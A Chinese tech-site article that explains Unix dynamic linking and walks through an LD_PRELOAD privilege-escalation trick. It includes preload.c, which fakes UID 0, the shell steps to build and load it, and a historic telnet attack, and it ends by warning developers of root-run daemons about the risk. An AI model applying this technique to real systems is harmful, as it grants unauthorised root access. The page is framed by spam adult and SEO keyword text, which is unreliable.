成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

列舉Unix操作系統(tǒng)實(shí)例

系統(tǒng) 其他OS
我們?cè)谖恼轮校屛覀儊?lái)一個(gè)Unix操作系統(tǒng)示例(這個(gè)示例來(lái)源于我的工作)。在文章中我們可以看到我們重載了Unix操作系統(tǒng)調(diào)用。

一般來(lái)說(shuō),Unix操作系統(tǒng)程序的鏈接分為靜態(tài)鏈接和動(dòng)態(tài)鏈接,靜態(tài)鏈接就是把所有所引用到的函數(shù)或變量全部地編譯到可執(zhí)行文件中。動(dòng)態(tài)鏈接則不會(huì)把函數(shù)編譯到可執(zhí)行文件中,而是在程序運(yùn)行時(shí)動(dòng)態(tài)地載入函數(shù)庫(kù),也就是運(yùn)行鏈接。

讓我們來(lái)一個(gè)Unix操作系統(tǒng)示例(這個(gè)示例來(lái)源于我的工作)。這個(gè)軟件是一個(gè)分布式計(jì)算平臺(tái),軟件在所有的計(jì)算機(jī)上都有以ROOT身份運(yùn)行的偵聽(tīng)程序(Daemon),用戶可以把的一程序從A計(jì)算機(jī)提交到B計(jì)算機(jī)上去運(yùn)行。

這些Daemon會(huì)把用戶在A計(jì)算機(jī)上的所有Unix操作系統(tǒng)環(huán)境變量帶到B計(jì)算機(jī)上,在B計(jì)算機(jī)上的Daemon會(huì)fork出一個(gè)子進(jìn)程,并且Daemon會(huì)調(diào)用seteuid、setegid來(lái)設(shè)置子程的執(zhí)行宿主,并在子進(jìn)程空間中設(shè)置從A計(jì)算機(jī)帶過(guò)來(lái)的環(huán)境變量,以仿真用戶的運(yùn)行環(huán)境。(注意:A和B都運(yùn)行在NIS/NFS方式上)

于是,我們可以寫(xiě)下這樣的動(dòng)態(tài)鏈接庫(kù):
 

  1. /* 文件名:preload.c */  
  2. #include <dlfcn.h> 
  3. #include <unistd.h> 
  4. #include <sys/types.h> 
  5. uid_t geteuid( void ) { return 0; }  
  6. uid_t getuid( void ) { return 0; }  
  7. uid_t getgid( void ) { return 0; } 


 
在這里我們可以看到,我們重載了Unix操作系統(tǒng)調(diào)用。于是我們可以通過(guò)設(shè)置LC_PRELOAD來(lái)迫使主程序使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root權(quán)限)。這會(huì)導(dǎo)致,上述的那個(gè)分布式計(jì)算平臺(tái)的軟件在提交端A計(jì)算機(jī)上調(diào)用了geteuid得到當(dāng)前用戶ID是0,并把這個(gè)用戶ID傳到了執(zhí)行端B計(jì)算機(jī)上,于是B計(jì)算機(jī)上的Daemon就會(huì)調(diào)用seteuid(0),導(dǎo)致我們的程序運(yùn)行在了Root權(quán)限之下。從而,用戶取得了超級(jí)用戶的權(quán)限而為所欲為。

上面的這個(gè)preload.c文件也就早期的為人所熟知的hack程序了。惡意用戶通過(guò)在系統(tǒng)中設(shè)計(jì)LC_PRELOAD環(huán)境變量來(lái)加載這個(gè)動(dòng)態(tài)鏈接庫(kù),會(huì)非常容易影響其它Unix操作系統(tǒng)命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統(tǒng)命令以Root權(quán)限運(yùn)行。

讓我們看一下這個(gè)函數(shù)是怎么影響Unix操作系統(tǒng)命令的:
 

  1. $ id  
  2. uid=500(hchen) gid=10(wheel) groups=10(wheel)  
  3. $ gcc -shared -o preload.so preload.c  
  4. $ setenv LD_PRELOAD ./preload.so  
  5. $ id  
  6. uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)  
  7. $ whoami  
  8. root  
  9. $ /bin/sh   
  10. <------ 你可以看到命令行提示符會(huì)由 $ 變成 # 

下面是一個(gè)曾經(jīng)非常著名的系統(tǒng)攻擊
 

  1. $ telnet  
  2. telnet> env def LD_PRELOAD /home/hchen/test/preload.so  
  3. telnet> open localhost  

當(dāng)然,這個(gè)安全BUG早已被Fix了(雖然,通過(guò)id或是whoami或是/bin/sh讓你覺(jué)得你像是root,但其實(shí)你并沒(méi)有root的權(quán)限),當(dāng)今的Unix操作系統(tǒng)中不會(huì)出現(xiàn)這個(gè)的問(wèn)題。但這并不代表,我們自己寫(xiě)的程序,或是第三方的程序能夠避免這個(gè)問(wèn)題,尤其是那些以Root方式運(yùn)行的第三方程序。所以,在我們編程時(shí),我們要隨時(shí)警惕著LD_PRELOAD。

關(guān)于Unix操作系統(tǒng)的示例我們就舉出這個(gè)來(lái)給大家參考。

【編輯推薦】

  1. 淺析Unix操作系統(tǒng)set命令
  2. 實(shí)際運(yùn)用Unix操作系統(tǒng)set命令
  3. Unix操作系統(tǒng)TCP/UDP知識(shí)
  4. 利用Unix操作系統(tǒng)重定向
  5. Unix操作系統(tǒng)與農(nóng)村信用社
責(zé)任編輯:小霞
相關(guān)推薦

2010-04-13 12:27:44

Unix操作系統(tǒng)

2010-04-15 14:40:26

Unix操作系統(tǒng)

2010-04-08 10:42:28

Unix操作系統(tǒng)

2010-04-08 16:18:22

Unix操作系統(tǒng)工具

2010-04-08 17:56:42

Unix操作系統(tǒng)

2010-04-14 13:59:45

Unix操作系統(tǒng)

2010-04-16 17:19:58

Unix操作系統(tǒng)

2010-04-19 10:54:33

Unix操作系統(tǒng)

2010-04-19 16:57:09

Unix操作系統(tǒng)

2010-04-19 17:39:50

Unix操作系統(tǒng)

2010-04-19 18:18:30

Unix操作系統(tǒng)

2010-04-19 18:31:16

Unix操作系統(tǒng)

2010-04-16 17:49:28

Unix操作系統(tǒng)

2010-04-09 11:24:38

Unix操作系統(tǒng)

2010-04-08 15:21:39

Unix操作系統(tǒng)

2010-05-04 10:16:11

Unix操作系統(tǒng)

2010-04-09 16:45:42

Unix操作系統(tǒng)

2010-04-07 15:37:16

Unix操作系統(tǒng)

2010-04-08 13:06:02

Unix操作系統(tǒng)

2010-04-08 15:33:57

Unix操作系統(tǒng)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 亚洲精品久久久久久宅男 | 精品婷婷| 国产精品免费一区二区 | 亚洲精品久久久久久久久久久久久 | 国产精品一级 | 日产精品久久久一区二区福利 | 99精品亚洲国产精品久久不卡 | 狠狠操狠狠干 | www.日韩系列| 亚洲在线视频 | 伊人最新网址 | 91原创视频| 日韩日b视频 | 伊人网站 | 成人福利网 | 亚洲日本免费 | 亚洲一区二区电影在线观看 | 91国产在线播放 | 免费国产一区 | 国产视频久久 | 国产高清精品一区二区三区 | 伊人中文字幕 | www.4虎影院| 亚洲精品国产精品国自产在线 | 亚洲日韩欧美一区二区在线 | 午夜天堂精品久久久久 | av在线电影网 | 91精品久久久久久久久久 | 天天综合网7799精品 | 午夜精品久久久 | 成人免费视屏 | 夜夜骑首页| 在线āv视频 | 国产乱码精品一区二区三区忘忧草 | 欧美日韩高清 | 精品99久久久久久 | 精品日韩一区二区 | 91久久久精品国产一区二区蜜臀 | 久久鲁视频 | 一本色道精品久久一区二区三区 | 亚洲国产精品成人久久久 |